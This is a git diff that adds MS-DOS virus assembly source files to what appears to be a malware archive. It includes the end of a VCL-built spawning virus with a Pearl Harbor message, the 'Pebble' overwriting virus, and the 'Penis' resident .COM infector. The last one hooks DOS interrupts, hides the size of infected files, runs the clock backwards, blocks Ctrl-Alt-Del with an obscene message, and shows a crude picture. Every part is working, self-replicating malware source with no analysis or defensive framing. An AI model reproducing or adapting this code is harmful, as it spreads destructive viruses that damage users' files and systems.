done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + db 07Eh,0FFh,09Ah,025h,02Bh + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov di,bx ; DI points to the DTA + + lea si,[di + 01Eh] ; SI points to file name + mov dx,si ; DX points to file name, too + mov di,offset spawn_name + 1; DI points to new name + xor ah,ah ; AH holds character count +transfer_loop: lodsb ; Load a character + or al,al ; Is it a NULL? + je transfer_end ; If so then leave the loop + inc ah ; Add one to the character count + stosb ; Save the byte in the buffer + jmp short transfer_loop ; Repeat the loop +transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count + mov byte ptr [di],13 ; Make CR the final character + + mov di,dx ; DI points to file name + xor ch,ch ; + mov cl,ah ; CX holds length of filename + mov al,'.' ; AL holds char. to search for + repne scasb ; Search for a dot in the name + mov word ptr [di],'OC' ; Store "CO" as first two bytes + mov byte ptr [di + 2],'M' ; Store "M" to make "COM" + + mov byte ptr [set_carry],0 ; Assume we'll fail + mov ax,03D00h ; DOS open file function, r/o + int 021h + jnc infection_done ; File already exists, so leave + mov byte ptr [set_carry],1 ; Success -- the file is OK + + mov ah,03Ch ; DOS create file function + mov cx,00100111b ; CX holds file attributes (all) + int 021h + xchg bx,ax ; BX holds file handle + + call encrypt_code ; Write an encrypted copy + + mov ah,03Eh ; DOS close file function + int 021h + +infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +spawn_name db 12,12 dup (?),13 ; Name for next spawn +set_carry db ? ; Set-carry-on-exit flag +infect_file endp + + + db 038h,025h,0F2h,0EAh,074h + +get_country proc near + push bp ; Save BP + mov bp,sp ; BP points to stack frame + sub sp,34 ; Allocate 34 bytes on stack + + mov ah,038h ; DOS get country function + lea dx,[bp - 34] ; DX points to unused buffer + int 021h + + xchg bx,ax ; AX holds the country code + + mov sp,bp ; Deallocate local buffer + pop bp ; Restore BP + ret ; Return to caller +get_country endp + + db 05Bh,02Dh,0FBh,03Ah,0E9h + +get_day proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dl ; Copy day into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_day endp + + db 049h,053h,0C8h,006h,095h + +get_month proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dh ; Copy month into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_month endp + +data00 db "December 7th, 1941 -- A day that will live in infamy...",13,10,13,10 + db 07,07,07 + db "*** REMEMBER PEARL HARBOR ***",13,10,0 + +data01 db "C:\*.*",0 + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "Dedicated to the memories of t" + db "he brave American men and wome" + db "n who gave their lives at [Pea" + db "rl Harbor].",0 + db "Nowhere Man, [NuKE] '92",0 + +encrypt_code proc near + mov si,offset encrypt_decrypt; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 8],dx ; Low word of timer is new key + + xor byte ptr [si],1 ; + xor byte ptr [si + 7],1 ; Change all SIs to DIs + xor word ptr [si + 10],0101h; (and vice-versa) + + mov di,offset finish ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + mov si,offset write_stuff ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + mov dx,offset start ; DX points to virus + + call finish ; Encrypt/write/decrypt + + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + mov si,offset start_of_code ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.pebble.asm b/MSDOS/Virus.MSDOS.Unknown.pebble.asm new file mode 100644 index 00000000..c1da80ab --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pebble.asm @@ -0,0 +1,66 @@ + +PAGE 59,132 + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ PEBBLE ŪŪ +;ŪŪ ŪŪ +;ŪŪ Created: 21-Feb-92 ŪŪ +;ŪŪ Passes: 5 Analysis Options on: none ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +data_0001e equ 9Eh + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +pebble proc far + +start: + mov ah,4Eh ; 'N' + mov cx,27h + mov dx,12Ch +loc_0001: + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jc loc_0002 ; Jump if carry Set + call sub_0001 + mov ah,4Fh ; 'O' + jmp short loc_0001 +loc_0002: + int 20h ; DOS program terminate + +pebble endp + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_0001 proc near + mov ax,3D02h + mov dx,data_0001e + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov ah,40h ; '@' + mov cx,32h + mov dx,100h + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + retn +sub_0001 endp + + db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 00h + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.penis.asm b/MSDOS/Virus.MSDOS.Unknown.penis.asm new file mode 100644 index 00000000..a14405cd --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.penis.asm @@ -0,0 +1,716 @@ +;***************************************************************************** +;* THE PENIS VIRUS +;* +;* +;* By Soltan Griss [YAM] +;* +;* +;* +;* +;* In no means was this intended to be a serious virus, I got bored one day +;* and decided to have some fun. +;* +;* +;* Well Here it is... +;* +;***************************************************************************** +seg_a segment + assume cs:seg_a,ds:seg_a,es:nothing + + org 100h +start: db 0E9h,02,00,42h,0f2h + + mov cx,(old_21-old_8) ;RUN FIRST TIME ONLY + mov si,offset old_8 ;encrypt All text messages + call crypter + + mov cx,(exec-data) + mov si,offset data + call crypter + + +vstart equ $ + call code_start +code_start: + pop si + sub si,offset code_start + mov bp,si + jmp load ;Load in the TSR +;************************************************************************** + +old_8 dw 0,0 + +new_8: push ax + push bx ;lets run the clock + push cx ;backwards + push ds + xor ax,ax + mov ds,ax + mov bx,ds:46Ch + mov cx,ds:046Eh + dec bx + jno loc_4 + dec cx + jno loc_4 + mov bx,0AFh + mov cx,18h ;remember to do it twice +loc_4: ;cause the normal increase + dec bx ;will negate the first one + jno loc_5 + dec cx + jno loc_5 + mov bx,0AFh + mov cx,18h +loc_5: + mov ds:046Eh,cx + mov ds:046Ch,bx + pop ds + pop cx + pop bx + pop ax +do_old_8: jmp dword ptr cs:[old_8-vstart] + + +;**************************************************************************** +;int 9 handler + +old_9 dd ? ;Store old int 9 + +new_9: + + push ax + in al,60h ;Turn on Register 60 + cmp al,53h ;Ctrl-Alt-Del + + je fuck_you + pop ax + jmp dword ptr cs:[(old_9-vstart)] + +say_it: db "FUCK YOU ASSHOLE! ","$" + +fuck_you: + push ds + push dx + mov ah,9h + + push cs + pop ds + + mov dx,say_it-vstart ;Say message + int 21h + pop dx + pop ds + pop ax + iret + + + +;*********************************************************************** +;*********************************************************************** +;*********************************************************************** +;*********************************************************************** +;*********************************************************************** + +old_21 dd ? + +new_21: + cmp ax,4b00h ;Are we executing? + je exec1 + + cmp ah,11h + je hide_size + cmp ah,12h + je hide_size + cmp ax,0f242h ;Are we going resident? + jne do_old + mov bx,242fh ;Set our residency byte +do_old: jmp dword ptr cs:[(old_21-vstart)] ;If not then do old int 21 +exec1: jmp exec +do_dir: jmp dword ptr cs:[(old_21-vstart)] + ret + +hide_size: + pushf + push cs + call do_dir ;get the current FCB + cmp al,00h + jnz dir_error ;jump if bad FCB + + push ax + push bx + push es ;undocumented get FCB + mov ah,51h ;location + int 21h + mov es,bx ;get info from FCB + cmp bx,es:[16h] + jnz not_inf + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;get DTA + int 21h + pop ax + inc al ;Check for extended FCB + jnz normal_fcb + add bx,7h +normal_fcb: + mov ax,es:[bx+17h] + and ax,1fh + xor al,01h ;check for 2 seconds + jnz not_inf + + and byte ptr es:[bx+17h],0e0h ;subtract virus size + sub es:[bx+1dh],(vend-vstart) + sbb es:[bx+1fh],ax +not_inf:pop es + pop bx + pop ax + +dir_error: + iret ;back to caller + + +;*************************************************************************** +;*************************************************************************** +;* PICTURE TO DISPLAY +;*************************************************************************** + +data DB 'Ü',4,'Ü',4,'Ü',4,'Ü',4,' ',4,' ',15,'Ü',4,' ',15,' ' + DB 15,' ',15,' ',15,'Ü',4,'Ü',4,'Ü',4,'Ü',4,' ',15,'Ü',4 + DB 'Ü',4,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'Ü',4 + DB 'Ü',4,' ',15,' ',15,'Ü',4,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,'Ü',4,' ',15,'Ü',4,'Ü',4,'Ü',4,'Ü',4,'Ū',64,'Ū' + DB 64,' ',15,' ',0,' ',0,' ',0,' ',15,' ',0,' ',15,' ',15 + DB ' ',15,' ',15,' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',64,' ',15,' ',15,' ',15 + DB ' ',64,'Ū',64,' ',64,' ',15,' ',15,' ',15,' ',15,' ',64 + DB ' ',15,' ',15,' ',64,' ',15,' ',15,' ',64,'Ü',4,' ',15 + DB ' ',15,' ',15,' ',15,'Ü',4,' ',64,' ',4,' ',15,' ',15 + DB 'Ū',4,'Ū',4,'Ü',4,' ',15,'Ū',64,' ',64,'Ū',4,' ',15,'Ū' + DB 4,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' ' + DB 0,' ',0,' ',15,' ',0,' ',15,' ',15,' ',15,' ',15,' ',0 + DB ' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',64,'Ü',64,'Ü',64,'Ü',64,'ß',64,'Ū',64,' ' + DB 64,' ',15,' ',15,' ',15,' ',15,' ',64,' ',15,' ',15,' ' + DB 64,' ',15,' ',15,' ',15,' ',64,'Ü',4,' ',64,' ',64,'ß' + DB 64,' ',64,' ',4,' ',15,' ',15,' ',15,'Ū',4,' ',15,'Ū' + DB 4,'Ü',4,'Ū',4,' ',15,'Ū',4,' ',15,'Ū',4,'Ü',64,'Ü',64 + DB 'Ū',64,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15,' ' + DB 0,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0 + DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',64,'Ü',4 + DB 'Ü',4,'Ü',4,'Ü',64,' ',15,' ',64,'Ü',4,'Ü',4,'Ü',4,' ' + DB 15,' ',64,'Ü',4,'Ü',4,' ',64,' ',15,' ',15,' ',15,' ' + DB 15,' ',64,' ',15,' ',15,' ',64,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,'Ū',4,' ',15,' ',15,'ß',4,' ',15,' ',15,'Ū' + DB 4,' ',15,'Ū',4,'Ü',4,'Ü',4,'Ü',4,'Ū',64,'Ū',64,' ',15 + DB ' ',0,' ',0,' ',0,' ',15,' ',0,' ',15,' ',15,' ',15,' ' + DB 15,' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'Ū',96,'ß',96 + DB 'ß',96,'ß',96,'Ū',96,'Ū',96,'Ū',96,'Ū',96,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',0,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',96,' ',96,' ',96,' ',96,' ',103,' ',103 + DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103 + DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103 + DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103 + DB ' ',103,' ',103,'±',96,'°',96,'°',96,' ',96,'ß',96,'Ū' + DB 96,'Ū',96,'Ū',96,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'Ü' + DB 15,'Ü',15,'Ü',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',96,' ',96,' ',96 + DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103 + DB ' ',96,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103 + DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103 + DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,'±',96 + DB '±',96,'°',96,'°',96,' ',96,'Ū',96,'Ū',96,'Ü',15,'Ü',15 + DB 'Ü',15,'Ū',15,'Ū',15,'Ū',15,' ',15,' ',15,' ',15,' ',15 + DB 'Ū',15,'Ū',15,'Ū',15,'Ū',15,'Ū',15,'Ū',15,'Ū',15,' ',15 + DB ' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',96,' ',96,' ',96,' ',96,' ',103,' ',103,'Ä',96 + DB 'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96 + DB 'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96 + DB 'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96 + DB '±',96,'±',96,'°',96,'°',96,' ',96,'Ū',96,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,'ß',15,'ß',15,'ß',15,' ',15,' ',15 + DB ' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',96,' ',103,' ',103,' ',96,' ',96,' ',103,'ß',96 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,'Ü',96,'Ü',96,'Ü',96,'Ū',96,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',103,' ',103,' ',103,'°',96,'°',96,'°',96,' ' + DB 103,'ß',96,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',103,' ',103,'°',96,'°',96,'°',96,'°',96,' ',103 + DB 'Ü',96,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',103,'°',96,'°',96,'°',96,'°',96,' ',103,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,'Ü',96,' ',103,' ',103,' ',103,'Ü',96,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' ',0 + DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0 + DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0 + DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0 + DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0 + DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0 + DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' + DB 0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ' +doggie DB 15,'Y',15,'O',15,'U',15,'R',15,' ',15,'F',15,'I',15,'L',15,'E' + DB 15,' ',15,'H',15,'A',15,'S',15,' ',15,'J',15,'U',15,'S',15,'T' + DB 15,' ',15,'B',15,'E',15,' ',15,'P',15,'E',15,'N',15,'I',15,'S' + DB 15,'`',15,'I',15,'Z',15,'E',15,'D',15,' ',15,'C',15,'O',15,'M' + DB 15,'P',15,'L',15,'E',15,'M',15,'E',15,'N',15,'T',15,'S',15,' ' + DB 15,'O',15,'F',15,' ',15,' ',15,' ' + DB 0,' ',0,' ',15,' ',15,' ',15,' ' + DB 03,'[',03,'Y',03,'A',03,'M' + DB 03,']',03,'/',03,'9',03,'2' + DB 03,' ',02,'-',04,'S',04,'.',04,'G',04,'R',04,'I',04,'S',04,'S' + DB 04,' ',0,' ',0,' ',0,' ',0,' ',0 + DB ' ',0,' ',0,' ',0,' ',0,' ',0 +;Actual program begins here + +exec: + push ax + push bx + push cx + push dx + push di + push si + push ds + push es + + + mov ax,4300h ;get file attributes + int 21h + jc long_cock + + and cl,0feh ;make it read/write + mov ax,4301h + int 21h + jc long_cock + + + +infect: + mov ax,3d02h + int 21h + jc long_cock + + + mov bx,ax + + push ds + push cs + pop ds + + mov ah,3fh + mov cx,5h + mov dx,(buffer-vstart) ;load in the first 5 bytes + int 21h + jc long_cock + + + cmp word ptr cs:[(buffer-vstart)],5A4Dh ;check to see if its an + je long_cock ;EXE + + cmp word ptr cs:[(buffer-vstart)+3],42F2h + je long_cock ;Check to see if F242 tag + ;if so then its infected + jmp next + +long_cock: + jmp cocker2 + +next: + + mov ax,5700h + int 21h + + mov word ptr cs:[(old_time-vstart)],cx ;get the files time + mov word ptr cs:[(old_date-vstart)],dx ;and date + + mov ax,4202h ;move file pointer to end + xor cx,cx ;top get the files size + xor dx,dx + int 21h + jc long_cock + mov cx,ax + sub cx,3 ;sub 3 form jump at begining + mov word ptr cs:[(jump_add+1-vstart)],cx;save length in jmp commmand + + + mov cx,(old_21-old_8) ;number of bytes to encrypt before writing + mov si,(old_8-vstart) + call crypter + + mov cx,(exec-data) + mov si,(data-vstart) + call crypter + + + + mov ah,byte ptr cs:[(infect_times-vstart)] + mov byte ptr cs:[(infect_times-vstart)],00h + push ax + + mov cx,(vend-vstart) ;write the virus to the end + mov ah,40h ;of the file + xor dx,dx + int 21h + jc cocker + + pop ax + inc ah + mov byte ptr cs:[(infect_times-vstart)],ah ;counter + + + mov cx,(exec-data) + mov si,(data-vstart) ;decrypt data + call crypter + + mov cx,(old_21-old_8) ;number of bytes to decrypt after writing + mov si,(old_8-vstart) + call crypter + + + mov ax,4200h ;move file pointer to the + xor cx,cx ;begining to write the JMP + xor dx,dx + int 21h + + + mov cx,5 + mov ah,40h ;write the JMP top the file + mov dx,(jump_add-vstart) + int 21h + + jc cocker + + mov ax,5701h + mov word ptr cx,cs:[(old_time-vstart)] ;Restore old time,date + mov word ptr dx,cs:[(old_date-vstart)] + + and cl,0e0H + inc cl ;change seconds to 2 + int 21h + + + mov ah,3eh + int 21h + + + jmp show_dick +cocker: jmp cocker2 + + +show_dick: + + cmp byte ptr cs:[(infect_times-vstart)],03h + jl cocker + + + + mov ah,0fh ;get current video mode + int 010h + cmp al,7 ;is it a monochrome mode? + jz mono ;yes + mov ax,0B800h ;color text video segment + jmp SHORT doit +mono: mov ax, 0B000h ;monochrome text video segment +doit: mov es,ax + + push cs + pop ds + mov si,data-vstart ;load destination offset + xor di,di ;clear destination index counter + mov cx,(exec-data+1)/2 + rep movsw ;write to video memory + + mov ah,02h ;hide cursor + mov bh,0 ;assume video page 0 + mov dx,1A00h ;moves cursor past bottom of screen + int 010h + + +lup: mov ah, 01h + int 016h + jz lup + mov ah,0 + int 016h + + ;Clear the screen + mov ah, 6 ;function 6 (scroll window up) + mov al, 0 ;blank entire screen + mov bh, 7 ;attribute to use + mov ch, 0 ;starting row + mov cl, 0 ;starting column + mov dh, 25 ;ending row + mov dl, 80 ;ending column + int 10h ;call interrupt 10h + + mov ah,02h ;puts cursor back where it belongs + mov bh,0 ;assume video page 0 + mov dx,0 + int 010h + + + +cocker2:pop ds + pop es + pop ds + pop si ;go back to old int 21 + pop di + pop dx + pop cx + pop bx + pop ax + + jmp dword ptr cs:[(old_21-vstart)] + +old_date dw 0 +old_time dw 0 + + +buffer: db 0cdh,20h,00 +buffer2 db 0,0 